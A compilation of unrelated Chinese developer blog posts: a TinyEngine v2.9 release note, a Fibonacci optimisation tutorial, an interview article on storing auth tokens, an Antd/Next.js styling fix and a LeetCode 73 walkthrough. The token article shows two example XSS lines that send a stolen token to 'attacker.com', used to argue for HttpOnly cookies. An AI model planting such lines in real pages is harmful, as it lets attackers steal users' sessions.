已添加资源的管理,hover时显示名称,操作包括复制和删除,复制是复制添加完成后在用户服务器上的url地址 9.png 也支持批量操作,点击批量操作后,出现删除图标(后续还会扩展其他批量操作),且资源变为可多选的状态 10.png

 

2.2 资源使用

1)在画布中使用

可以通过图片组件使用资源,选中图片组件后在图片的属性设置处,点击选择资源可以设置为资源管理中的图片

效果

11.png

2)在AI插件中使用

在AI插件Agent模式生成页面时,页面中经常会需要使用到图片资源,AI无法直接生成这些图片,默认会将当前资源管理插件的图片作为备用资源引入使用(仅使用带有描述介绍的图片)。例如“生成登录页面”自动引用背景图与Logo:

12.png

如果不希望在AI助手插件中使用,可以通过修改注册表关闭

// registry.js
export default {
  [META_APP.Robot]: {
    options: {
      enableResourceContext: false, // 提示词上下文携带资源插件图片,默认true
    }
  }
}

3. 【增强】预览插件支持应用预览

在之前的预览插件中只能够实现单页面的预览,对于需要在多个页面中交互跳转的场景无法满足。
在v2.9 版本中,TinyEngine支持了应用的全局预览,能够预览完整项目的效果,并且支持手动路由切换,也能够在调试模式下查看整个应用的源码。 1)入口:

工具栏的预览图标进行了调整,直接点击图标与之前逻辑一致为页面预览,点击后面的箭头可打开下拉列表,可以选择应用预览

13.png

2)预览效果

打开预览页面后,可以看到应用预览与页面预览相比添加了路由切换栏,可以选择路由进行切换。

14.png

4. 【增强】Tailwindcss支持

Tailwind CSS 是一种实用优先的 CSS 框架,提供丰富的原子类,如 text-centerp-4bg-blue-500 等,可快速构建定制化、响应式界面。

低代码平台支持 Tailwind 后,用户在可视化搭建的同时,能直接通过类名精细控制样式,无需编写或配置大量样式即可实现高效美观的前端开发,提升灵活性与开发速度。

在v2.9以上版本,已默认支持Tailwind CSS框架。

 启用后的行为

  • 设计态:画布支持直接加载Tailwind样式类

  • 预览态:自动按需加载  @tailwindcss/browser,使画布/预览中可直接使用 Tailwind 原子类。

  • 出码生成:生成的应用将自动完成以下配置(基于 Tailwind CSS v4 零配置方案):

    • 在依赖中添加  tailwindcss,并在开发依赖中添加  @tailwindcss/vite
    • 在 Vite 配置中注册  tailwindcss()  插件;
    • 生成  src/style.css,内容包含  @import "tailwindcss";
    • 在  src/main.js 自动引入  ./style.css

以上步骤由引擎/出码器自动完成,无需手动干预。

效果

选中节点后在属性配置面板样式类中直接填写Tailwind样式类名,即可看到画布Tailwind样式生效:

15.png

关闭 Tailwind

可以通过注册表关闭Tailwind功能:

// registry.js
export default {
  'engine.config': {
    // ...其他配置
    enableTailwindCSS: true, // 开启(默认即为 true);设为 false 可关闭
  },
};

当配置为 enableTailwindCSS: false 时:

  • 预览态不会加载  @tailwindcss/browser
  • 出码时不会注入与 Tailwind 相关的依赖、Vite 插件及样式文件导入。

注意事项

  • 预览依赖解析:内置 import-map 已包含 @tailwindcss/browser 映射;如使用自定义 CDN/离线环境,请确保该映射可用。
  • 自定义样式:可在生成的 src/style.css 中追加自定义样式,或在项目中新增样式文件后自行引入。
  • 运行时渲染:如果您自定义了运行时渲染引擎,请确保在运行时渲染中增加对 Tailwind CSS 的支持。

5.【增强】支持静态数据源

设计器提供数据源来配合画布上的组件/区块渲染,之前版本只支持采取远程API请求JSON数据动态获取的方式,自TinyEngine v2.9+版本开始,支持静态数据源配置。

使用步骤

1)创建数据源,数据源类型选择静态数据源,配置数据源名称以及数据源字段,根据配置的数据源字段新增静态数据。

16.gif

2)使用数据源Mock数据(数据源使用方式与远程数据源相同)

17.gif

6.【增强】组件物料更新

  • 修改路由选择配置器,添加标签栏配置器和导航组件

拖拽一个导航条组件到画布,可以更改导航条为横向或者纵向,导航菜单项支持增删改,菜单项支持配置跳转页面

18.gif

  • 更新物料Icon(设计稿换新风格后,原物料图标跟页面风格不匹配,更换所有的物料图标)

  • 添加TinyVue图表组件

物料面板新增TinyVue图表组件,主要包括折线图、柱状图、条形图、圆盘图、环形图、雷达图、瀑布图、漏斗图、散点图 等

19.png

  • 添加TinyVue基础组件

  • 表单类型中新增单选组、评分、滑块、级联选择器 组件

20.png

  • 数据展示中新增骨架屏、卡片、日历、进度条、标记、标签、统计数值 组件

21.png

  • 导航类型中新增步骤条和树形菜单组件

22.png

7. 【增强】MCP工具更新

AI 助手除了新增的搭建模式,原有的对话模式也进行了增强,增加了若干个插件的 mcp 工具:

  • 国际化(i18n) 相关 mcp 工具
  • 应用状态、页面状态相关 mcp 工具
  • 页面增删查改工具
  • 节点操作相关 mcp 工具(节点选中、属性修改、增删节点等等)

如何使用

当前可以升级到 v2.9 版本,切换到 chat 模式,即可在对话中使用MCP工具,AI会自动调用相应工具。用户也可以手动点击关闭某个 mcp 工具。

示例图: 23.png

二次开发 TinyEngine 时,如何修改/添加/删除 mcp 工具?

当前 mcp 工具都默认随着插件的注册表导出(因为依赖插件的相关能力),所以如果需要修改/添加/删除 mcp 工具,修改注册表即可。

默认的插件注册表导出:

// mcp 工具 mcp/index.js
export const mcp = {
  tools: [getGlobalState, addOrModifyGlobalState, deleteGlobalState]
}


// 插件注册表导出 index.js
export default {
  ...metaData,
  entry,
  metas: [globalStateService],
  // mcp 的相关导出
  mcp
}

在二次开发工程中修改/添加 mcp 工具,同自定义注册表,请参考注册表相关文档

未来优化

  • 添加、调优 mcp 工具
  • 添加 chat 模式的系统提示词,让 AI 工具调用效果更好

8. 【其他】功能细节优化&bug修复

以上是此次更新的主要内容

如需了解更多可以查看:v2.9.0 所有 changelog

结语

TinyEngine v2.9 的发布,不仅是功能层面的一次全面跃迁——从 AI 助手的能力增强、Tailwind CSS 的原生支持,到资源管理插件的引入、应用预览能力的落地——更是我们对“极致可定制”理念的又一次深化实践。每一个细节的打磨,每一次架构的演进,都旨在让开发者以更低的成本、更高的自由度,构建真正属于自己的低代码世界。

这不仅仅是一个版本的更新,更是社区共建成就的见证。我们相信,开源的意义不仅在于代码共享,更在于思想碰撞与协作共创。正是每一位用户的使用、反馈与贡献,让 TinyEngine 在真实场景中不断淬炼成长。

未来之路,我们继续同行。 欢迎你持续关注 TinyEngine 的演进,参与社区讨论,提交你的想法与代码。让我们携手,把低代码的可能性推向更远的地方。

关于OpenTiny

欢迎加入 OpenTiny 开源社区。添加微信小助手:opentiny-official 一起参与交流前端技术~

OpenTiny 官网:opentiny.design
OpenTiny 代码仓库:github.com/opentiny
TinyVue 源码:github.com/opentiny/ti…
TinyEngine 源码: github.com/opentiny/ti…
欢迎进入代码仓库 Star🌟TinyEngine、TinyVue、TinyNG、TinyCLI、TinyEditor~ 如果你也想要共建,可以进入代码仓库,找到 good first issue 标签,一起参与开源贡献~

斐波那契数列:从递归到优化的完整指南

斐波那契数列是算法学习中的经典案例,也是前端面试中的高频考点。本文将从基础递归实现开始,逐步优化,带你深入理解递归、缓存、闭包等核心概念。

话不多说,我们直接来看传统解法:


方法一:基础递归实现

代码实现

// 递归
// 时间复杂度 O(2^n)
function fib(n) {
    // 退出条件,若没有会爆栈
    if(n <= 1) return n;
    return fib(n-1) + fib(n-2);
}

console.log(fib(10));  // 55

核心思想

递归的本质:

  • 大的问题可以分解为多个小的问题(类似)
  • 自顶向下,思路清晰,代码简洁
  • 靠函数入栈来实现,调用栈会占用栈内存

时间复杂度分析

O(2^n) - 指数级时间复杂度

为什么是指数级?

                fib(5)
               /      \
          fib(4)      fib(3)
          /    \      /    \
     fib(3) fib(2) fib(2) fib(1)
     /   \   /  \   /  \
fib(2) fib(1) ...

可以看到,fib(3) 被计算了多次,fib(2) 被计算了更多次。每一层都会产生两个子问题,所以总的时间复杂度是指数级的。

问题分析

  1. 重复计算:同一个值被计算多次

    • fib(3) 在计算 fib(5) 时被计算了 2 次
    • fib(2) 被计算了 3 次
    • fib(1) 被计算了 5 次
  2. 栈溢出风险:当 n 较大时,调用栈过深会导致爆栈

    fib(100);  // 可能会栈溢出
    
  3. 性能问题:计算 fib(40) 就需要几秒钟,fib(50) 可能需要几分钟


方法二:缓存优化(记忆化)

代码实现

const cache = {};   // 用空间换时间

function fib(n) {
    // 如果已经计算过,直接从缓存中取
    if(n in cache) {
        return cache[n];
    }
    
    // 基础情况
    if(n <= 1) {
        cache[n] = n;
        return n;
    }
    
    // 计算并缓存结果
    const result = fib(n-1) + fib(n-2);
    cache[n] = result;
    return result;
}

console.log(fib(100));  // 354224848179262000000

优化原理

核心思想:用空间换时间

  1. 缓存已计算的结果:使用 cache 对象存储已经计算过的值
  2. 避免重复计算:如果计算过,直接在缓存中取,不用入栈那么多函数
  3. 时间复杂度优化:从 O(2^n) 降低到 O(n)

时间复杂度分析

O(n) - 线性时间复杂度

每个 fib(i) 只计算一次,然后存储在缓存中。后续需要时直接从缓存读取。

空间复杂度

O(n) - 需要存储 n 个计算结果

存在的问题

  1. 全局变量污染cache 是全局变量,可能被其他代码修改
  2. 封装性差:缓存逻辑暴露在外部
  3. 无法重置:一旦计算过,缓存会一直存在

方法三:闭包封装(推荐)

代码实现

// cache 闭合到函数中?
const fib = (function() {
    // 闭包
    // IIFE (Immediately Invoked Function Expression)
    const cache = {};
    
    return function(n) {
        // 如果缓存中有,直接返回
        if(n in cache) {
            return cache[n];
        }
        
        // 基础情况
        if (n <= 1) {
            cache[n] = n;
            return n;
        }
        
        // 递归计算并缓存
        cache[n] = fib(n-1) + fib(n-2);
        return cache[n];
    }
})()

console.log(fib(100));  // 354224848179262000000

核心概念解析

1. 闭包(Closure)

什么是闭包?

  • 函数可以访问其外部作用域的变量
  • 即使外部函数执行完毕,内部函数仍然可以访问外部变量

在这个例子中:

  • cache 是外部函数的局部变量
  • 返回的内部函数可以访问 cache
  • 即使外部函数执行完毕,cache 仍然存在

2. IIFE(立即执行函数表达式)

IIFE 的作用:

  • 创建一个独立的作用域
  • 避免全局变量污染
  • 封装私有变量

语法:

(function() {
    // 代码
})()

优势分析

封装性好cache 是私有变量,外部无法访问
避免污染:不会创建全局变量
代码优雅:使用闭包和 IIFE,符合函数式编程思想
性能优秀:时间复杂度 O(n),空间复杂度 O(n)


方法四:迭代实现(最优解)

代码实现

function fib(n) {
    if(n <= 1) return n;
    
    let prev = 0;  // f(0)
    let curr = 1;  // f(1)
    
    // 从 f(2) 开始计算到 f(n)
    for(let i = 2; i <= n; i++) {
        const next = prev + curr;
        prev = curr;
        curr = next;
    }
    
    return curr;
}

console.log(fib(100));  // 354224848179262000000

优势

时间复杂度:O(n) - 线性时间
空间复杂度:O(1) - 只使用常数空间
不会栈溢出:不使用递归,不会出现调用栈过深的问题
性能最优:比递归方法更快,内存占用更少

对比分析

方法 时间复杂度 空间复杂度 栈溢出风险 代码复杂度
基础递归 O(2^n) O(n)
缓存递归 O(n) O(n)
闭包递归 O(n) O(n)
迭代 O(n) O(1)

实际应用场景

1. 前端性能优化

在需要频繁计算斐波那契数的场景(如动画、游戏),使用缓存或迭代方法可以显著提升性能。

2. 算法面试

斐波那契数列是算法面试中的经典题目,考察点包括:

  • 递归思想
  • 时间复杂度分析
  • 优化能力
  • 闭包理解

3. 动态规划入门

斐波那契数列是理解动态规划(DP)的绝佳例子:

  • 重叠子问题
  • 最优子结构
  • 状态转移方程

4. 前端动画

在某些动画效果中,可以使用斐波那契数列来创建自然的缓动效果。


总结

从朴素递归到记忆化缓存,从闭包封装到迭代优化,斐波那契数列看似简单,却像一面镜子,映照出编程思维的演进路径:从“能跑就行”到“优雅高效”

  • 递归 教会我们如何将复杂问题分解,但也暴露了重复计算与栈溢出的隐患;
  • 记忆化 引入“空间换时间”的经典策略,是动态规划思想的雏形;
  • 闭包 + IIFE 展示了 JavaScript 的函数式魅力,在性能与封装之间取得平衡;
  • 迭代解法 则回归本质——用最朴素的循环,实现最优的时间与空间复杂度。

这不仅是一道面试题,更是一次对算法思维、语言特性与工程实践的综合演练。在前端日益复杂的今天,理解这些底层逻辑,才能写出既健壮又高效的代码。

真正的优化,不在于炫技,而在于在正确的地方,选择最合适的解法。


记住:算法学习不是死记硬背,而是理解思想,灵活运用! 🚀

面试官最爱挖的坑:用户 Token 到底该存哪?

面试官问:"用户 token 应该存在哪?"

很多人脱口而出:localStorage。

这个回答不能说错,但远称不上好答案

一个好答案,至少要说清三件事:

  • 有哪些常见存储方式,它们的优缺点是什么
  • 为什么大部分团队会从 localStorage 迁移到 HttpOnly Cookie
  • 实际项目里怎么落地、怎么权衡「安全 vs 成本」

这篇文章就从这三点展开,顺便帮你把这道高频面试题吃透。


三种存储方式,一张图看懂差异

前端存 token,主流就三种:

flowchart LR
    subgraph 存储方式
        A[localStorage]
        B[普通 Cookie]
        C[HttpOnly Cookie]
    end

    subgraph 安全特性
        D[XSS 可读取]
        E[CSRF 会发送]
    end

    A -->|是| D
    A -->|否| E
    B -->|是| D
    B -->|是| E
    C -->|否| D
    C -->|是| E

    style A fill:#f8d7da,stroke:#dc3545
    style B fill:#f8d7da,stroke:#dc3545
    style C fill:#d4edda,stroke:#28a745
存储方式 XSS 能读到吗 CSRF 会自动带吗 推荐程度
localStorage 不会 不推荐存敏感数据
普通 Cookie 不推荐
HttpOnly Cookie 不能 推荐

localStorage:用得最多,但也最容易出事

大部分项目一开始都是这样写的,把 token 往 localStorage 一扔就完事了:

// 登录成功后
localStorage.setItem('token', response.accessToken);

// 请求时取出来
const token = localStorage.getItem('token');
fetch('/api/user', {
  headers: { Authorization: `Bearer ${token}` }
});

用起来确实方便,但有个致命问题:XSS 攻击可以直接读取

localStorage 对 JavaScript 完全开放。只要页面有一个 XSS 漏洞,攻击者就能一行代码偷走 token:

// 攻击者注入的脚本
fetch('https://attacker.com/steal?token=' + localStorage.getItem('token'))

你可能会想:"我的代码没有 XSS 漏洞。"

现实是:XSS 漏洞太容易出现了——一个 innerHTML 没处理好,一个第三方脚本被污染,一个 URL 参数直接渲染……项目一大、接口一多,总有疏漏的时候。


普通 Cookie:XSS 能读,CSRF 还会自动带

有人会往 Cookie 上靠拢:"那我存 Cookie 里,是不是就更安全了?"

如果只是「普通 Cookie」,实际上比 localStorage 还糟糕:

// 设置普通 Cookie
document.cookie = `token=${response.accessToken}; path=/`;

// 攻击者同样能读到
const token = document.cookie.split('token=')[1];
fetch('https://attacker.com/steal?token=' + token);

XSS 能读,CSRF 还会自动带上——两头不讨好


HttpOnly Cookie:让 XSS 偷不走 Token

真正值得推荐的,是 HttpOnly Cookie

它的核心优势只有一句话:JavaScript 读不到

// 后端设置(Node.js 示例)
res.cookie('access_token', token, {
  httpOnly: true,    // JS 访问不到
  secure: true,      // 只在 HTTPS 发送
  sameSite: 'lax',   // 防 CSRF
  maxAge: 3600000    // 1 小时过期
});

设置了 httpOnly: true,前端 document.cookie 压根看不到这个 Cookie。XSS 攻击偷不走。

// 前端发请求,浏览器自动带上 Cookie
fetch('/api/user', {
  credentials: 'include'
});

// 攻击者的 XSS 脚本
document.cookie  // 看不到 httpOnly 的 Cookie,偷不走

HttpOnly Cookie 的代价:需要正面面对 CSRF

HttpOnly Cookie 解决了「XSS 偷 token」的问题,但引入了另一个必须正视的问题:CSRF

因为 Cookie 会自动发送,攻击者可以诱导用户访问恶意页面,悄悄发起伪造请求:

sequenceDiagram
    participant 用户
    participant 银行网站
    participant 恶意网站

    用户->>银行网站: 1. 登录,获得 HttpOnly Cookie
    用户->>恶意网站: 2. 访问恶意网站
    恶意网站->>用户: 3. 页面包含隐藏表单
    用户->>银行网站: 4. 浏览器自动发送请求(带 Cookie)
    银行网站->>银行网站: 5. Cookie 有效,执行转账
    Note over 用户: 用户完全不知情

好消息是:CSRF 比 XSS 容易防得多

SameSite 属性

最简单的一步,就是在设置 Cookie 时加上 sameSite

res.cookie('access_token', token, {
  httpOnly: true,
  secure: true,
  sameSite: 'lax'  // 关键配置
});

sameSite 有三个值:

  • strict:跨站请求完全不带 Cookie。最安全,但从外链点进来需要重新登录
  • lax:GET 导航可以带,POST 不带。大部分场景够用,Chrome 默认值
  • none:都带,但必须配合 secure: true

lax 能防住绝大部分 CSRF 攻击。如果业务场景更敏感(比如金融),可以再加 CSRF Token。

CSRF Token(更严格)

如果希望更严谨,可以在 sameSite 基础上,再加一层 CSRF Token 验证:

// 后端生成 Token,放到页面或接口返回
const csrfToken = crypto.randomUUID();
res.cookie('csrf_token', csrfToken);  // 这个不用 httpOnly,前端需要读

// 前端请求时带上
fetch('/api/transfer', {
  method: 'POST',
  headers: {
    'X-CSRF-Token': document.cookie.match(/csrf_token=([^;]+)/)?.[1]
  },
  credentials: 'include'
});

// 后端验证
if (req.cookies.csrf_token !== req.headers['x-csrf-token']) {
  return res.status(403).send('CSRF token mismatch');
}

攻击者能让浏览器自动带上 Cookie,但没法读取 Cookie 内容来构造请求头。


核心对比:为什么宁愿多做 CSRF,也要堵死 XSS

这是全篇最重要的一点,也是推荐 HttpOnly Cookie 的根本原因。

XSS 的攻击面太广

  • 用户输入渲染(评论、搜索、URL 参数)
  • 第三方脚本(广告、统计、CDN)
  • 富文本编辑器
  • Markdown 渲染
  • JSON 数据直接插入 HTML

代码量大了,总有地方会疏漏。一个 innerHTML 忘了转义,第三方库有漏洞,攻击者就能注入脚本。

CSRF 防护相对简单、手段统一

  • sameSite: lax 一行配置搞定大部分场景
  • 需要更严格就加 CSRF Token
  • 攻击面有限,主要是表单提交和链接跳转

两害相权取其轻——先把 XSS 能偷 token 这条路堵死,再去专心做好 CSRF 防护


真落地要改什么:从 localStorage 迁移到 HttpOnly Cookie

从 localStorage 迁移到 HttpOnly Cookie,需要前后端一起动手,但改造范围其实不大。

后端改动

登录接口,从「返回 JSON 里的 token」改成「Set-Cookie」:

// 改造前
app.post('/api/login', (req, res) => {
  const token = generateToken(user);
  res.json({ accessToken: token });
});

// 改造后
app.post('/api/login', (req, res) => {
  const token = generateToken(user);
  res.cookie('access_token', token, {
    httpOnly: true,
    secure: true,
    sameSite: 'lax',
    maxAge: 3600000
  });
  res.json({ success: true });
});

前端改动

前端请求时不再手动带 token,而是改成 credentials: 'include'

// 改造前
fetch('/api/user', {
  headers: { Authorization: `Bearer ${localStorage.getItem('token')}` }
});

// 改造后
fetch('/api/user', {
  credentials: 'include'
});

如果用 axios,可以全局配置:

axios.defaults.withCredentials = true;

登出处理

登出时,后端清除 Cookie:

app.post('/api/logout', (req, res) => {
  res.clearCookie('access_token');
  res.json({ success: true });
});

如果暂时做不到 HttpOnly Cookie,可以怎么降风险

有些项目历史包袱比较重,或者后端暂时不愿意改。短期内只能继续用 localStorage 的话,至少要做好这些补救措施:

  1. 严格防 XSS

    • textContent 代替 innerHTML
    • 用户输入必须转义
    • 配置 CSP 头
    • 富文本用 DOMPurify 过滤
  2. Token 过期时间要短

    • Access Token 15-30 分钟过期
    • 配合 Refresh Token 机制
  3. 敏感操作二次验证

    • 转账、改密码等操作,要求输入密码或短信验证
  4. 监控异常行为

    • 同一账号多地登录告警
    • Token 使用频率异常告警

面试怎么答

回到开头的问题,面试怎么答?

简洁版(30 秒):

推荐 HttpOnly Cookie。因为 XSS 比 CSRF 难防——代码里一个 innerHTML 没处理好就可能有 XSS,而 CSRF 只要加个 SameSite: Lax 就能防住大部分。用 HttpOnly Cookie,XSS 偷不走 token,只需要处理 CSRF 就行。

完整版(1-2 分钟):

Token 存储有三种常见方式:localStorage、普通 Cookie、HttpOnly Cookie。

localStorage 最大的问题是 XSS 能读取。JavaScript 对 localStorage 完全开放,攻击者注入一行脚本就能偷走 token。

普通 Cookie 更糟,XSS 能读,CSRF 还会自动发送。

推荐 HttpOnly Cookie,设置 httpOnly: true 后 JavaScript 读不到。虽然 Cookie 会自动发送导致 CSRF 风险,但 CSRF 比 XSS 容易防——加个 sameSite: lax 就能解决大部分场景。

所以权衡下来,HttpOnly Cookie 配合 SameSite 是更安全的方案。

当然,没有绝对安全的方案。即使用了 HttpOnly Cookie,XSS 攻击虽然偷不走 token,但还是可以利用当前会话发请求。最好的做法是纵深防御——HttpOnly Cookie + SameSite + CSP + 输入验证,多层防护叠加。

加分项(如果面试官追问):

  • 改造成本:需要前后端配合,登录接口改成 Set-Cookie 返回,前端请求加 credentials: include
  • 如果用 localStorage:Token 过期时间要短,敏感操作二次验证,严格防 XSS
  • 移动端场景:App 内置 WebView 用 HttpOnly Cookie 可能有兼容问题,需要具体评估

如果你觉得这篇文章有帮助,欢迎关注我的 GitHub,下面是我的一些开源项目:

Claude Code Skills(按需加载,意图自动识别,不浪费 token,介绍文章):

全栈项目(适合学习现代技术栈):

  • prompt-vault - Prompt 管理器,用的都是最新的技术栈,适合用来学习了解最新的前端全栈开发范式:Next.js 15 + React 19 + tRPC 11 + Supabase 全栈示例,clone 下来配个免费 Supabase 就能跑
  • chat_edit - 双模式 AI 应用(聊天+富文本编辑),Vue 3.5 + TypeScript + Vite 5 + Quill 2.0 + IndexedDB

Antd5.x 在 Next.js14.x 项目中,初次渲染样式丢失

问题

因为之前 Next 和 React 接连出现安全问题,于是把博客的依赖升级了一下,没想到就搞出问题了,如下图所示:

QQ截图20251215164248.jpg

初次渲染时样式丢失,在客户端上会短暂展示 Antd 组件无样式界面,出现样式闪烁的情况。项目是 Next 14,React 18 的 App Router 项目,依赖版本:"@ant-design/nextjs-registry": "^1.3.0""antd": "^5.14.2"

解决思路

因为 Antd 是 CSS-in-js 的 UI 库,按照官方文档呢,我们需要一个 @ant-design/nextjs-registry 包裹整个页面,在 SSR 时收集所有组件的样式,并且通过 <script> 标签在客户端首次渲染时带上。

// src/app/layout.tsx

import { AntdRegistry } from '@ant-design/nextjs-registry'

export default async function RootLayout({
  children
}: Readonly<{
  children: React.ReactNode
}>) {
  return (
    <html lang="en">
      <head>
        {/* ... */}
      </head>
      <body>
        <AntdRegistry>
          {/* ... 假装这是页面代码 */}
        </AntdRegistry>
      </body>
    </html>
  )
}

对照了一下官方文档也问了下 AI,没发现我的写法有什么问题。就在这个时候,我猛然间看见了 Antd 的 Pages Router 使用的注意事项:

image.png

我寻思,可能我遇到的情况和这里一样,是内部依赖版本 @ant-design/cssinj 不对引起的。

输入 npm ls @ant-design/cssinjs 看了一下,

├─┬ @ant-design/nextjs-registry@1.3.0
│ └── @ant-design/cssinjs@2.0.1
└─┬ antd@5.14.2
  └── @ant-design/cssinjs@1.24.0 deduped

@ant-design/nextjs-registry 内部也使用了 @ant-design/cssinjs,而且它的版本和 antd 内置版本还不一样,这就是问题的所在了。

接下来把 @ant-design/nextjs-registry 的版本降到了 1.2.0,这时候版本对上了,bug 也就修复了。

├─┬ @ant-design/nextjs-registry@1.2.0
│ └── @ant-design/cssinjs@1.24.0
└─┬ antd@5.14.2
  └── @ant-design/cssinjs@1.24.0 deduped

@ant-design/nextjs-registry 的内部发生了什么

AntdRegistry

这勾起了我的好奇心,就让我们来看看 @ant-design/nextjs-registry 干了些什么:

github.com/ant-design/…

// /src/AntdRegistry.tsx
'use client';

import type { StyleProviderProps } from '@ant-design/cssinjs';
import type { FC } from 'react';
import { createCache, extractStyle, StyleProvider } from '@ant-design/cssinjs';
import { useServerInsertedHTML } from 'next/navigation';
import React, { useState } from 'react';

type AntdRegistryProps = Omit<StyleProviderProps, 'cache'>;

const AntdRegistry: FC<AntdRegistryProps> = (props) => {
  const [cache] = useState(() => createCache());

  useServerInsertedHTML(() => {
    const styleText = extractStyle(cache, { plain: true, once: true });

    if (styleText.includes('.data-ant-cssinjs-cache-path{content:"";}')) {
      return null;
    }

    return (
      <style
        id="antd-cssinjs"
        // to make sure this style is inserted before Ant Design's style generated by client
        data-rc-order="prepend"
        data-rc-priority="-1000"
        dangerouslySetInnerHTML={{ __html: styleText }}
      />
    );
  });

  return <StyleProvider {...props} cache={cache} />;
};

export default AntdRegistry;

除了用 Next 的 API useServerInsertedHTML 把样式字符串插到页面上之外,和 Pages Router 中 Antd 收集首屏样式的写法几乎是一样的。

@ant-design/cssinjs

首先来看上文 const [cache] = useState(() => createCache()) 这一行。

@ant-design/cssinjs 部分仓库在 github.com/ant-design/…

它干了几件事:

  1. 生成唯一实例 ID。
  2. (仅客户端)将 body 中的样式移到 head 中,并且去重。
export function createCache() {
  const cssinjsInstanceId = Math.random().toString(12).slice(2);

  // Tricky SSR: Move all inline style to the head.
  // PS: We do not recommend tricky mode.
  if (typeof document !== 'undefined' && document.head && document.body) {
    const styles = document.body.querySelectorAll(`style[${ATTR_MARK}]`) || [];
    const { firstChild } = document.head;

    Array.from(styles).forEach((style) => {
      (style as any)[CSS_IN_JS_INSTANCE] =
        (style as any)[CSS_IN_JS_INSTANCE] || cssinjsInstanceId;

      // Not force move if no head
      if ((style as any)[CSS_IN_JS_INSTANCE] === cssinjsInstanceId) {
        document.head.insertBefore(style, firstChild);
      }
    });

    // Deduplicate of moved styles
    const styleHash: Record<string, boolean> = {};
    Array.from(document.querySelectorAll(`style[${ATTR_MARK}]`)).forEach(
      (style) => {
        const hash = style.getAttribute(ATTR_MARK)!;
        if (styleHash[hash]) {
          if ((style as any)[CSS_IN_JS_INSTANCE] === cssinjsInstanceId) {
            style.parentNode?.removeChild(style);
          }
        } else {
          styleHash[hash] = true;
        }
      },
    );
  }

  return new CacheEntity(cssinjsInstanceId);
}
  1. 返回一个类包裹的 Map 结构,在 StyleProvider 中由后代组件把首屏所需样式传回。结构如下所示:
export type KeyType = string | number;
type ValueType = [number, any];
/** Connect key with `SPLIT` */
export declare function pathKey(keys: KeyType[]): string;
declare class Entity {
    instanceId: string;
    constructor(instanceId: string);
    /** @private Internal cache map. Do not access this directly */
    cache: Map<string, ValueType>;
    extracted: Set<string>;
    get(keys: KeyType[]): ValueType | null;
    /** A fast get cache with `get` concat. */
    opGet(keyPathStr: string): ValueType | null;
    update(keys: KeyType[], valueFn: (origin: ValueType | null) => ValueType | null): void;
    /** A fast get cache with `get` concat. */
    opUpdate(keyPathStr: string, valueFn: (origin: ValueType | null) => ValueType | null): void;
}
export default Entity;

至于 StyleProvider,除了整合上层 StyleProvider 注入的样式外,它基本上是一个普通的 Context.Provider,作用也很好猜,把 createCache 返回的 Map 结构注入到下层组件中。

const StyleContext = React.createContext<StyleContextProps>({
  hashPriority: 'low',
  cache: createCache(),
  defaultCache: true,
  autoPrefix: false,
})

export const StyleProvider: React.FC<StyleProviderProps> = (props) => {
  // ...
  return (
    <StyleContext.Provider value={context}>{children}</StyleContext.Provider>
  );
};

Antd 组件的调用路径

具体源码就不细看了,以按钮组件 Button 为例,调用路径大致如下:

flowchart TD
    subgraph CSSInJS 底层机制
        genStyleUtils["@ant-design/cssinjs-utils<br/>genStyleUtils"]
        genStyleHooks["@ant-design/cssinjs-utils<br/>genStyleHooks"]
        genComponentStyleHook["@ant-design/cssinjs-utils<br/>genComponentStyleHook"]
        useStyleRegister["@ant-design/cssinjs<br/>useStyleRegister"]
        useGlobalCache["@ant-design/cssinjs<br/>useGlobalCache"]
    end

    subgraph Antd 组件层
        useStyleAntd[useStyle]
        Button[Button组件]
        JSX[写入到JSX并返回]
    end

    genStyleUtils -->|生成| genStyleHooks
    genStyleHooks -->|调用| genComponentStyleHook
    genComponentStyleHook -->|调用| useStyleRegister
    useStyleRegister -->|调用| useGlobalCache
    
    genStyleHooks -->|返回| useStyleAntd
    
    Button -->|调用| useStyleAntd
    useStyleAntd -->|样式注入| JSX

在 useGlobalCache 中 调用 React.useContext(StyleContext)cache.onUpdate方法更新缓存。

总结

这次碰到的问题其实挺典型的:升级了依赖,结果页面出问题了。解决方法很简单——把 @ant-design/nextjs-registry 从 1.3.0 降级到 1.2.0,让它跟 antd 用的 @ant-design/cssinjs 内部版本对上就行了。

以后要是用 Next.js App Router 配 Ant Design 遇到类似情况,可以先看看这两个包的版本是不是兼容。有时候问题没看起来那么复杂,可能就是版本没对上。

出于好奇,我还顺便看了一下 AntdRegistry 内部的实现——发现它主要是通过 StyleProvider 在服务端收集样式,然后通过 useServerInsertedHTML 在客户端首次渲染时注入到 style 标签中,这样就能避免样式闪烁的问题。

大家的阅读是我发帖的动力,本文首发于我的博客:deer.shika-blog.xyz,欢迎大家来玩, 转载请注明出处。

不用 Set,只用两个布尔值:如何用标志位将矩阵置零的空间复杂度压到 O(1)


🧩 LeetCode 73. 矩阵置零:从暴力 Set 到 O(1) 原地算法(附完整解析)

题目要求:给定一个 m x n 的整数矩阵,若某个元素为 0,则将其所在整行和整列全部置为 0
关键限制:必须 原地修改(in-place) ,不能返回新数组。

在刷这道题时,我一开始写了暴力解法,后来尝试优化空间,却踩了几个经典坑。今天就用我自己的代码,带大家一步步理解如何从 O(m+n) 空间优化到 O(1),以及为什么第一行和第一列要特殊处理

先看题目:73. 矩阵置零 - 力扣(LeetCode)


image.png

🔥 第一步:暴力解法(清晰但非最优)

最直观的想法是:

  • 遍历矩阵,记录所有含 0行号列号
  • 再遍历一次,把对应行列置零
// 暴力法
let xZero = new Set();
let yZero = new Set();
for (let i = 0; i < x; i++) {
    for (let j = 0; j < y; j++) {
        if (matrix[i][j] === 0) {
            xZero.add(i);
            yZero.add(j);
        }
    }
}
for (let i = 0; i < x; i++) {
    for (let j = 0; j < y; j++) {
        if (xZero.has(i) || yZero.has(j))
            matrix[i][j] = 0;
    }
}

优点:逻辑简单,一次 AC
缺点:用了两个 Set,空间复杂度 O(m + n),不符合“极致原地”的要求

面试官可能会问:“能不能不用额外空间?”

于是,我开始思考:能不能把标记信息存在矩阵自己身上?


🚀 第二步:空间优化 —— 利用第一行和第一列做标记

💡 核心思想

  • matrix[i][0] == 0 表示第 i 行需要置零
  • matrix[0][j] == 0 表示第 j 列需要置零

这样,我们就把“标记位”复用到了矩阵的第一列和第一行上,省下了 O(m+n) 的空间

但问题来了:

如果第一行或第一列本来就有 0,我们怎么知道这个 0 是“原始数据”还是“后来设置的标记”?

举个例子:

[
  [1, 0, 1],
  [1, 1, 1],
  [1, 1, 1]
]
  • 这里的 matrix[0][1] = 0 是原始数据,意味着第 0 行和第 1 列都要清零
  • 但如果我们在后续过程中把它当作“标记”,可能会漏掉对第 0 行的清零!

